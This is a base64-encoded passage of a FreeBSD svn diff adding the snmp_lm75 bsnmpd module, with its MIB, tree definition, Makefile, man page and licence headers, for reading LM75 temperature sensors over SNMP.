VEVEIFRPLCBUSEUKKy0tIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5E IEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCistLSBBUkUgRElTQ0xBSU1FRC4gIElO IE5PIEVWRU5UIFNIQUxMIFRIRSBSRUdFTlRTIE9SIENPTlRSSUJVVE9SUyBCRSBMSUFCTEUKKy0t IEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZ LCBPUiBDT05TRVFVRU5USUFMCistLSBEQU1BR0VTIChJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRF RCBUTywgUFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUworLS0gT1IgU0VSVklDRVM7IExP U1MgT0YgVVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVTUyBJTlRFUlJVUFRJT04pCist LSBIT1dFVkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIg SU4gQ09OVFJBQ1QsIFNUUklDVAorLS0gTElBQklMSVRZLCBPUiBUT1JUIChJTkNMVURJTkcgTkVH TElHRU5DRSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQorLS0gT1VUIE9GIFRIRSBV U0UgT0YgVEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9GIFRIRSBQT1NTSUJJTElUWSBP RgorLS0gU1VDSCBEQU1BR0UuCistLQorLS0gJEZyZWVCU0QkCistLQorCitCRUdFTU9ULUxNNzUt TUlCIERFRklOSVRJT05TIDo6PSBCRUdJTgorCitJTVBPUlRTCisgICAgTU9EVUxFLUlERU5USVRZ LCBPQkpFQ1QtVFlQRSwgTk9USUZJQ0FUSU9OLVRZUEUsCisgICAgQ291bnRlcjY0LCBJbnRlZ2Vy MzIKKwlGUk9NIFNOTVB2Mi1TTUkKKyAgICBURVhUVUFMLUNPTlZFTlRJT04sIFJvd1N0YXR1cwor CUZST00gU05NUHYyLVRDCisgICAgYmVnZW1vdAorCUZST00gQkVHRU1PVC1NSUI7CisKK2JlZ2Vt b3RMb29zIE1PRFVMRS1JREVOVElUWQorICAgIExBU1QtVVBEQVRFRCAiMjAxNDAyMjQwMDAwWiIK KyAgICBPUkdBTklaQVRJT04gIkZyZWVCU0QiCisgICAgQ09OVEFDVC1JTkZPCisJICAgICIJCUx1 aXogT3RhdmlvIE8gU291emEKKworCSAgICAgUG9zdGFsOglOL0EKKworCSAgICAgRmF4OglOL0EK KworCSAgICAgRS1NYWlsOglsb29zQEZyZWVCU0Qub3JnIgorICAgIERFU0NSSVBUSU9OCisJICAg ICJUaGUgQmVnZW1vdCBNSUIgZm9yIHJlYWRpbmcgbG03NSBzZW5zb3JzIGRhdGEuIgorICAgIFJF VklTSU9OICAgICAiMjAxNDAyMjQwMDAwWiIKKyAgICBERVNDUklQVElPTgorCSAgICAiSW5pdGlh bCByZXZpc2lvbi4iCisgICAgOjo9IHsgYmVnZW1vdCA0MDAgfQorCitiZWdlbW90TG03NU9iamVj dHMJT0JKRUNUIElERU5USUZJRVIgOjo9IHsgYmVnZW1vdExtNzUgMSB9CisKKy0tIC0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gLS0KKy0t IENvbmZpZ3VyYXRpb24gcGFyYW1ldGVycworLS0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAtLQorCitsbTc1U2Vuc29yCU9CSkVDVCBJ REVOVElGSUVSIDo6PSB7IGJlZ2Vtb3RsbTc1T2JqZWN0cyAxIH0KKworbG03NVNlbnNvcnMJT0JK RUNULVRZUEUKKyAgICBTWU5UQVgJSW50ZWdlcjMyCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkK KyAgICBTVEFUVVMJY3VycmVudAorICAgIERFU0NSSVBUSU9OCisJIk51bWJlciBvZiBMTTc1IHNl bnNvcnMgaW4gdGhlIHN5c3RlbS4iCisgICAgOjo9IHsgbG03NVNlbnNvcnMgMSB9CisKKy0tIC0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0g LS0KKy0tIFRlbXBTZW5zb3IgVGFibGUKKy0tIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gLS0KK2xtNzVTZW5zb3JUYWJsZSBPQkpFQ1Qt VFlQRQorICAgIFNZTlRBWAlTRVFVRU5DRSBPRiBMbTc1U2Vuc29yRW50cnkKKyAgICBNQVgtQUND RVNTCW5vdC1hY2Nlc3NpYmxlCisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElPTgor CSJBIHRhYmxlIGNvbnRhaW5pbmcgaW5mb3JtYXRpb24gYWJvdXQgYWxsIHRlbXBlcmF0dXJlIHNl bnNvcnMuIgorICAgIDo6PSB7IGJlZ2Vtb3RMbTc1T2JqZWN0cyAyIH0KKworbG9vc1RlbXBTZW5z b3JFbnRyeSBPQkpFQ1QtVFlQRQorICAgIFNZTlRBWAlMbTc1U2Vuc29yRW50cnkKKyAgICBNQVgt QUNDRVNTCW5vdC1hY2Nlc3NpYmxlCisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElP TgorCSJUYWJsZSBlbnRyeSB0aGF0IGRlc2NyaWJlcyBvbmUgdGVtcGVyYXR1cmUgc2Vuc29yLiIK KyAgICBJTkRFWAl7IGxtNzVTZW5zb3JJbmRleCB9CisgICAgOjo9IHsgbG03NVNlbnNvclRhYmxl IDEgfQorCitMbTc1U2Vuc29yRW50cnkgOjo9IFNFUVVFTkNFIHsKKyAgICBsbTc1U2Vuc29ySW5k ZXgJCQlJbnRlZ2VyMzIsCisgICAgbG03NVNlbnNvclN5c2N0bEluZGV4CQlJbnRlZ2VyMzIsCisg ICAgbG03NVNlbnNvckRlc2MJCQlPQ1RFVCBTVFJJTkcsCisgICAgbG03NVNlbnNvckxvY2F0aW9u CQkJT0NURVQgU1RSSU5HLAorICAgIGxtNzVTZW5zb3JQbnBJbmZvCQkJT0NURVQgU1RSSU5HLAor ICAgIGxtNzVTZW5zb3JQYXJlbnQJCQlPQ1RFVCBTVFJJTkcsCisgICAgbG03NVNlbnNvclRlbXBl cmF0dXJlCQlJbnRlZ2VyMzIKK30KKworbG03NVNlbnNvckluZGV4IE9CSkVDVC1UWVBFCisgICAg U1lOVEFYCUludGVnZXIzMgorICAgIE1BWC1BQ0NFU1MJcmVhZC1vbmx5CisgICAgU1RBVFVTCWN1 cnJlbnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNlbnNvciBpbmRleC4iCisgICAgOjo9IHsg bG03NVNlbnNvckVudHJ5IDEgfQorCitsbTc1U2Vuc29yU3lzY3RsSW5kZXggT0JKRUNULVRZUEUK KyAgICBTWU5UQVgJSW50ZWdlcjMyCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkKKyAgICBTVEFU VVMJY3VycmVudAorICAgIERFU0NSSVBUSU9OCisJIkxNNzUgU2Vuc29yIHN5c2N0bCBpbmRleC4i CisgICAgOjo9IHsgbG03NVNlbnNvckVudHJ5IDIgfQorCitsbTc1U2Vuc29yRGVzYyBPQkpFQ1Qt VFlQRQorICAgIFNZTlRBWAlPQ1RFVCBTVFJJTkcKKyAgICBNQVgtQUNDRVNTCXJlYWQtb25seQor ICAgIFNUQVRVUwljdXJyZW50CisgICAgREVTQ1JJUFRJT04KKwkiTE03NSBTZW5zb3IgZGVzY3Jp cHRpb24uIgorICAgIDo6PSB7IGxtNzVTZW5zb3JFbnRyeSAzIH0KKworbG03NVNlbnNvckxvY2F0 aW9uIE9CSkVDVC1UWVBFCisgICAgU1lOVEFYCU9DVEVUIFNUUklORworICAgIE1BWC1BQ0NFU1MJ cmVhZC1vbmx5CisgICAgU1RBVFVTCWN1cnJlbnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNl bnNvciBsb2NhdGlvbi4iCisgICAgOjo9IHsgbG03NVNlbnNvckVudHJ5IDQgfQorCitsbTc1U2Vu c29yUG5wSW5mbyBPQkpFQ1QtVFlQRQorICAgIFNZTlRBWAlPQ1RFVCBTVFJJTkcKKyAgICBNQVgt QUNDRVNTCXJlYWQtb25seQorICAgIFNUQVRVUwljdXJyZW50CisgICAgREVTQ1JJUFRJT04KKwki TE03NSBTZW5zb3IgcG5wIGluZm9ybWF0aW9uLiIKKyAgICA6Oj0geyBsbTc1U2Vuc29yRW50cnkg NSB9CisKK2xtNzVTZW5zb3JQYXJlbnQgT0JKRUNULVRZUEUKKyAgICBTWU5UQVgJT0NURVQgU1RS SU5HCisgICAgTUFYLUFDQ0VTUwlyZWFkLW9ubHkKKyAgICBTVEFUVVMJY3VycmVudAorICAgIERF U0NSSVBUSU9OCisJIkxNNzUgU2Vuc29yIHBhcmVudCBidXMuIgorICAgIDo6PSB7IGxtNzVTZW5z b3JFbnRyeSA2IH0KKworbG03NVNlbnNvclRlbXBlcmF0dXJlIE9CSkVDVC1UWVBFCisgICAgU1lO VEFYCUludGVnZXIzMgorICAgIE1BWC1BQ0NFU1MJcmVhZC1vbmx5CisgICAgU1RBVFVTCWN1cnJl bnQKKyAgICBERVNDUklQVElPTgorCSJMTTc1IFNlbnNvciB0ZW1wZXJhdHVyZS4iCisgICAgOjo9 IHsgbG03NVNlbnNvckVudHJ5IDcgfQorCitFTkQKClByb3BlcnR5IGNoYW5nZXMgb246IHVzci5z YmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9CRUdFTU9ULUxNNzUtTUlCLnR4dApfX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fCkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0wLDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xp bmUgYXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBzdm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMK K3RleHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtl eXdvcmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBw cm9wZXJ0eQpJbmRleDogdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L01ha2VmaWxl Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0KLS0tIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9NYWtlZmls ZQkocmV2aXNpb24gMCkKKysrIHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9NYWtl ZmlsZQkod29ya2luZyBjb3B5KQpAQCAtMCwwICsxLDEzIEBACisjICRGcmVlQlNEJAorCisuaW5j bHVkZSA8YnNkLm93bi5taz4KKworTU9EPSAgICBsbTc1CitTUkNTPSAgIHNubXBfbG03NS5jCitY U1lNPSAgIGJlZ2Vtb3RMbTc1CitNQU49ICAgIHNubXBfbG03NS4zCisKK0JNSUJTPSAgQkVHRU1P VC1MTTc1LU1JQi50eHQKK0RFRlM9ICAgJHtNT0R9X3RyZWUuZGVmCisKKy5pbmNsdWRlIDxic2Qu c25tcG1vZC5taz4KClByb3BlcnR5IGNoYW5nZXMgb246IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVz L3NubXBfbG03NS9NYWtlZmlsZQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCkFkZGVkOiBzdm46ZW9sLXN0eWxlCiMjIC0w LDAgKzEgIyMKK25hdGl2ZQpcIE5vIG5ld2xpbmUgYXQgZW5kIG9mIHByb3BlcnR5CkFkZGVkOiBz dm46bWltZS10eXBlCiMjIC0wLDAgKzEgIyMKK3RleHQvcGxhaW4KXCBObyBuZXdsaW5lIGF0IGVu ZCBvZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOmtleXdvcmRzCiMjIC0wLDAgKzEgIyMKK0ZyZWVCU0Q9 JUgKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBwcm9wZXJ0eQpJbmRleDogdXNyLnNiaW4vYnNubXBk L21vZHVsZXMvc25tcF9sbTc1L2xtNzVfdHJlZS5kZWYKPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gdXNyLnNiaW4v YnNubXBkL21vZHVsZXMvc25tcF9sbTc1L2xtNzVfdHJlZS5kZWYJKHJldmlzaW9uIDApCisrKyB1 c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvbG03NV90cmVlLmRlZgkod29ya2luZyBj b3B5KQpAQCAtMCwwICsxLDU2IEBACisjLQorIyBDb3B5cmlnaHQgKGMpIDIwMTQgTHVpeiBPdGF2 aW8gTyBTb3V6YSA8bG9vc0BGcmVlQlNELm9yZz4KKyMgQWxsIHJpZ2h0cyByZXNlcnZlZC4KKyMK KyMgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0 aCBvciB3aXRob3V0CisjIG1vZGlmaWNhdGlvbiwgYXJlIHBlcm1pdHRlZCBwcm92aWRlZCB0aGF0 IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucworIyBhcmUgbWV0OgorIyAxLiBSZWRpc3RyaWJ1dGlv bnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRhaW4gdGhlIGFib3ZlIGNvcHlyaWdodAorIyAgICBu b3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWlt ZXIuCisjIDIuIFJlZGlzdHJpYnV0aW9ucyBpbiBiaW5hcnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0 aGUgYWJvdmUgY29weXJpZ2h0CisjICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMg YW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lciBpbiB0aGUKKyMgICAgZG9jdW1lbnRhdGlvbiBh bmQvb3Igb3RoZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4KKyMK KyMgVEhJUyBTT0ZUV0FSRSBJUyBQUk9WSURFRCBCWSBUSEUgUkVHRU5UUyBBTkQgQ09OVFJJQlVU T1JTIGBgQVMgSVMnJyBBTkQKKyMgQU5ZIEVYUFJFU1MgT1IgSU1QTElFRCBXQVJSQU5USUVTLCBJ TkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhFCisjIElNUExJRUQgV0FSUkFOVElFUyBP RiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCisj IEFSRSBESVNDTEFJTUVELiAgSU4gTk8gRVZFTlQgU0hBTEwgVEhFIFJFR0VOVFMgT1IgQ09OVFJJ QlVUT1JTIEJFIExJQUJMRQorIyBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUws IFNQRUNJQUwsIEVYRU1QTEFSWSwgT1IgQ09OU0VRVUVOVElBTAorIyBEQU1BR0VTIChJTkNMVURJ TkcsIEJVVCBOT1QgTElNSVRFRCBUTywgUFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUwor IyBPUiBTRVJWSUNFUzsgTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNT IElOVEVSUlVQVElPTikKKyMgSE9XRVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElB QklMSVRZLCBXSEVUSEVSIElOIENPTlRSQUNULCBTVFJJQ1QKKyMgTElBQklMSVRZLCBPUiBUT1JU IChJTkNMVURJTkcgTkVHTElHRU5DRSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdBWQor IyBPVVQgT0YgVEhFIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0YgVEhF IFBPU1NJQklMSVRZIE9GCisjIFNVQ0ggREFNQUdFLgorIworIyAkRnJlZUJTRCQKKyMKKworKDEg aW50ZXJuZXQKKyAgKDQgcHJpdmF0ZQorICAgICgxIGVudGVycHJpc2VzCisgICAgICAoMTIzMjUg Zm9rdXMKKyAgICAgICAgKDEgYmVnZW1vdAorICAgICAgICAgICg0MDAgYmVnZW1vdExtNzUKKyAg ICAgICAgICAgICgxIGJlZ2Vtb3RMbTc1T2JqZWN0cworICAgICAgICAgICAgICAoMSBsbTc1U2Vu c29ycworICAgICAgICAgICAgICAgICgxIGxtNzVTZW5zb3JzIElOVEVHRVIzMiBvcF9sbTc1U2Vu c29ycyBHRVQpCisgICAgICAgICAgICAgICkKKyAgICAgICAgICAgICAgKDIgbG03NVNlbnNvclRh YmxlCisgICAgICAgICAgICAgICAgKDEgbG03NVNlbnNvckVudHJ5IDogT0NURVRTVFJJTkcgb3Bf bG03NVNlbnNvclRhYmxlCisgICAgICAgICAgICAgICAgICAoMSBsbTc1U2Vuc29ySW5kZXggSU5U RUdFUjMyIEdFVCkKKyAgICAgICAgICAgICAgICAgICgyIGxtNzVTZW5zb3JTeXNjdGxJbmRleCBJ TlRFR0VSMzIgR0VUKQorICAgICAgICAgICAgICAgICAgKDMgbG03NVNlbnNvckRlc2MgT0NURVRT VFJJTkcgR0VUKQorICAgICAgICAgICAgICAgICAgKDQgbG03NVNlbnNvckxvY2F0aW9uIE9DVEVU U1RSSU5HIEdFVCkKKyAgICAgICAgICAgICAgICAgICg1IGxtNzVTZW5zb3JQbnBJbmZvIE9DVEVU U1RSSU5HIEdFVCkKKyAgICAgICAgICAgICAgICAgICg2IGxtNzVTZW5zb3JQYXJlbnQgT0NURVRT VFJJTkcgR0VUKQorICAgICAgICAgICAgICAgICAgKDcgbG03NVNlbnNvclRlbXBlcmF0dXJlIElO VEVHRVIzMiBHRVQpCisgICAgICAgICAgICAgICAgKQorICAgICAgICAgICAgICApCisgICAgICAg ICAgICApCisgICAgICAgICAgKQorICAgICAgICApCisgICAgICApCisgICAgKQorICApCispCklu ZGV4OiB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LjMKPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQotLS0gdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L3NubXBfbG03NS4zCShy ZXZpc2lvbiAwKQorKysgdXNyLnNiaW4vYnNubXBkL21vZHVsZXMvc25tcF9sbTc1L3NubXBfbG03 NS4zCSh3b3JraW5nIGNvcHkpCkBAIC0wLDAgKzEsNjAgQEAKKy5cIi0KKy5cIiBDb3B5cmlnaHQg KGMpIDIwMTQgTHVpeiBPdGF2aW8gTyBTb3V6YSA8bG9vc0BGcmVlQlNELm9yZz4KKy5cIiBBbGwg cmlnaHRzIHJlc2VydmVkLgorLlwiCisuXCIgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3Vy Y2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0CisuXCIgbW9kaWZpY2F0aW9uLCBh cmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCisuXCIg YXJlIG1ldDoKKy5cIiAxLiBSZWRpc3RyaWJ1dGlvbnMgb2Ygc291cmNlIGNvZGUgbXVzdCByZXRh aW4gdGhlIGFib3ZlIGNvcHlyaWdodAorLlwiICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRp dGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKy5cIiAyLiBSZWRpc3RyaWJ1dGlv bnMgaW4gYmluYXJ5IGZvcm0gbXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodAorLlwi ICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlz Y2xhaW1lciBpbiB0aGUKKy5cIiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlh bHMgcHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorLlwiCisuXCIgVEhJUyBTT0ZUV0FS RSBJUyBQUk9WSURFRCBCWSBUSEUgUkVHRU5UUyBBTkQgQ09OVFJJQlVUT1JTIGBgQVMgSVMnJyBB TkQKKy5cIiBBTlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVU IE5PVCBMSU1JVEVEIFRPLCBUSEUKKy5cIiBJTVBMSUVEIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRB QklMSVRZIEFORCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRQorLlwiIEFSRSBESVND TEFJTUVELiAgSU4gTk8gRVZFTlQgU0hBTEwgVEhFIFJFR0VOVFMgT1IgQ09OVFJJQlVUT1JTIEJF IExJQUJMRQorLlwiIEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lB TCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5USUFMCisuXCIgREFNQUdFUyAoSU5DTFVESU5HLCBC VVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GIFNVQlNUSVRVVEUgR09PRFMKKy5cIiBP UiBTRVJWSUNFUzsgTE9TUyBPRiBVU0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNTIElO VEVSUlVQVElPTikKKy5cIiBIT1dFVkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFC SUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklDVAorLlwiIExJQUJJTElUWSwgT1IgVE9S VCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkK Ky5cIiBPVVQgT0YgVEhFIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0Yg VEhFIFBPU1NJQklMSVRZIE9GCisuXCIgU1VDSCBEQU1BR0UuCisuXCIKKy5cIiAkRnJlZUJTRCQK Ky5cIgorLkRkIEZlYnJ1YXJ5IDI0LCAyMDE0CisuRHQgU05NUF9MTTc1IDMKKy5PcworLlNoIE5B TUUKKy5ObSBzbm1wX2xtNzUKKy5OZCAiTE03NSBTZW5zb3IgbW9kdWxlIGZvciIKKy5YciBic25t cGQgMQorLlNoIExJQlJBUlkKKy5QcSBiZWdlbW90U25tcGRNb2R1bGVQYXRoLiJsbTc1IiA9ICIv dXNyL2xpYi9zbm1wX2xtNzUuc28iCisuU2ggREVTQ1JJUFRJT04KK1RoZQorLk5tIHNubXBfbG03 NQorbW9kdWxlIGltcGxlbWVudHMgYSBwcml2YXRlIEJFR0VNT1QtTE03NS1NSUIsIHdoaWNoIGFs bG93cworcmVhZGluZyB0aGUgdGVtcGVyYXR1cmUgb2YgdGhlIExNNzUgc2Vuc29ycyBvbiB0aGUg c3lzdGVtLgorLlBwCitUaGUgbW9kdWxlIHJlYWRzIHRoZSBzZW5zb3IocykgdGVtcGVyYXR1cmUg dXNpbmcgdGhlCisuWHIgc3lzY3RsIDgKK0FQSS4KKy5TaCBGSUxFUworLkJsIC10YWcgLXdpZHRo ICJYWFhYWFhYWFgiCisuSXQgUGEgL3Vzci9zaGFyZS9zbm1wL2RlZnMvbG03NV90cmVlLmRlZgor VGhlIGRlc2NyaXB0aW9uIG9mIHRoZSBNSUIgdHJlZSBpbXBsZW1lbnRlZCBieQorLk5tIC4KKy5J dCBQYSAvdXNyL3NoYXJlL3NubXAvbWlicy9CRUdFTU9ULUxNNzUtTUlCLnR4dAorVGhlIHByaXZh dGUgQkVHRU1PVC1MTTc1LU1JQiB0aGF0IGlzIGltcGxlbWVudGVkIGJ5IHRoaXMgbW9kdWxlLgor LkVsCisuU2ggU0VFIEFMU08KKy5YciBic25tcGQgMSAsCisuWHIgZ2Vuc25tcHRyZWUgMSAsCisu WHIgc25tcG1vZCAzICwKKy5YciBsbTc1IDQKKy5TaCBBVVRIT1JTCisuQW4gTHVpeiBPdGF2aW8g TyBTb3V6YSBBcSBsb29zQEZyZWVCU0Qub3JnCgpQcm9wZXJ0eSBjaGFuZ2VzIG9uOiB1c3Iuc2Jp bi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LjMKX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpBZGRlZDog c3ZuOmVvbC1zdHlsZQojIyAtMCwwICsxICMjCituYXRpdmUKXCBObyBuZXdsaW5lIGF0IGVuZCBv ZiBwcm9wZXJ0eQpBZGRlZDogc3ZuOm1pbWUtdHlwZQojIyAtMCwwICsxICMjCit0ZXh0L3BsYWlu ClwgTm8gbmV3bGluZSBhdCBlbmQgb2YgcHJvcGVydHkKQWRkZWQ6IHN2bjprZXl3b3JkcwojIyAt MCwwICsxICMjCitGcmVlQlNEPSVIClwgTm8gbmV3bGluZSBhdCBlbmQgb2YgcHJvcGVydHkKSW5k ZXg6IHVzci5zYmluL2Jzbm1wZC9tb2R1bGVzL3NubXBfbG03NS9zbm1wX2xtNzUuYwo9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09Ci0tLSB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1LmMJKHJl dmlzaW9uIDApCisrKyB1c3Iuc2Jpbi9ic25tcGQvbW9kdWxlcy9zbm1wX2xtNzUvc25tcF9sbTc1 LmMJKHdvcmtpbmcgY29weSkKQEAgLTAsMCArMSw0MzYgQEAKKy8qLQorICogQ29weXJpZ2h0IChj KSAyMDE0IEx1aXogT3RhdmlvIE8gU291emEgPGxvb3NARnJlZUJTRC5vcmc+CisgKiBBbGwgcmln aHRzIHJlc2VydmVkLgorICoKKyAqIFJlZGlzdHJpYnV0aW9uIGFuZCB1c2UgaW4gc291cmNlIGFu ZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dAorICogbW9kaWZpY2F0aW9uLCBhcmUgcGVy bWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCisgKiBhcmUgbWV0 OgorICogMS4gUmVkaXN0cmlidXRpb25zIG9mIHNvdXJjZSBjb2RlIG11c3QgcmV0YWluIHRoZSBh Ym92ZSBjb3B5cmlnaHQKKyAqICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5k IHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKyAqIDIuIFJlZGlzdHJpYnV0aW9ucyBpbiBiaW5h cnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0aGUgYWJvdmUgY29weXJpZ2h0CisgKiAgICBub3RpY2Us IHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIgaW4g dGhlCisgKiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMgcHJvdmlkZWQg d2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorICoKKyAqIFRISVMgU09GVFdBUkUgSVMgUFJPVklERUQg QlkgVEhFIFJFR0VOVFMgQU5EIENPTlRSSUJVVE9SUyBgYEFTIElTJycgQU5ECisgKiBBTlkgRVhQ UkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRP LCBUSEUKKyAqIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5F U1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCisgKiBBUkUgRElTQ0xBSU1FRC4gIElOIE5PIEVW RU5UIFNIQUxMIFRIRSBSRUdFTlRTIE9SIENPTlRSSUJVVE9SUyBCRSBMSUFCTEUKKyAqIEZPUiBB TlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBD T05TRVFVRU5USUFMCisgKiBEQU1BR0VTIChJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywg UFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUworICogT1IgU0VSVklDRVM7IExPU1MgT0Yg 